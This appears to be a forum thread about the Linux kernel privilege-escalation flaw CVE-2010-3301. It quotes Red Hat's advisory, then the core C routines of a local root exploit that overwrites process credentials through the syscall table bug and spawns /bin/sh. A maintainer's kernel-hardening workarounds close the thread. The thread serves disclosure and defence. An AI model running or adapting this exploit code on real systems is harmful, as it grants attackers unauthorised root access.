Red Hat wrote: |
The flaw identified by CVE-2010-3301 (Red Hat Bugzilla bug 634449) describes a flaw in the IA32 system call emulation provided in 64-bit Linux kernels, versions 2.6.27-rc1 to 2.6.36-rc4. An improperly validated 64-bit value could be stored in the %rax register, which could trigger an out-of-bounds system call table access. A local user could use this flaw to escalate their privileges. This is a regression of CVE-2007-4573. It was re-introduced by upstream git commit d4d67150, and was later addressed via the upstream git commits 36d001c7 and eefdca04 for the 2.6 Linux kernel. |
Code: |
int32_t uid, euid, suid; static void kernelmodecode(void) { int i; uint8_t *gs; uint32_t *ptr; asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs)); for (i = 200; i < 1000; i+=1) { ptr = (uint32_t*) (gs + i); if ((ptr[0] == uid) && (ptr[1] == euid) && (ptr[2] == suid) && (ptr[3] == uid)) { ptr[0] = 0; //UID ptr[1] = 0; //EUID ptr[2] = 0; //SUID break; } } } static void docall(uint64_t *ptr, uint64_t size) { getresuid(&uid, &euid, &suid); uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF); if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } for (; ptr < (tmp + size); ptr++) *ptr = (uint64_t)kernelmodecode; __asm__("\n" "\tmovq $0x101, %rax\n" "\tint $0x80\n"); printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid()); execl("/bin/sh", "bin/sh", 0); printf("no /bin/sh ??\n"); exit(0); } |
Anthony Basile wrote: |
Hardened-sources 2.6.32-r18 and 2.6.34-r6 have been marked stable for amd64 in
the tree. See bug #338273. Please please please test! I realize the urgency to stabilize, but I feel uncomfortable with the fact that these were marked stable before they'd had time to mature. |
Anthony Basile wrote: |
As a work around until I get the fix into the tree and fast
track stabilization, keep the following in mind: 1) Whether hardened or not, if you don't have CONFIG_IA32_EMULATION, the exploits fail. 2) If you hide kernel symbols in /proc/kallsyms, the proof-of-concept code won't work. You can do that by either not enabling CONFIG_KALLSYMS on non-hardened kernels, or just set CONFIG_GRKERNSEC_HIDESYM=y on hardened. (However, there may still be ways of making the exploit work even without symbol info.) 3) On hardened systems, if you enable CONFIG_PAX_MEMORY_UDEREF=y, the exploits fail even with access to symbol info. If possible, I would also recommend enabling CONFIG_PAX_KERNEXEC=y. |
output generated using printer-friendly topic mod, All times are GMT + 2 Hours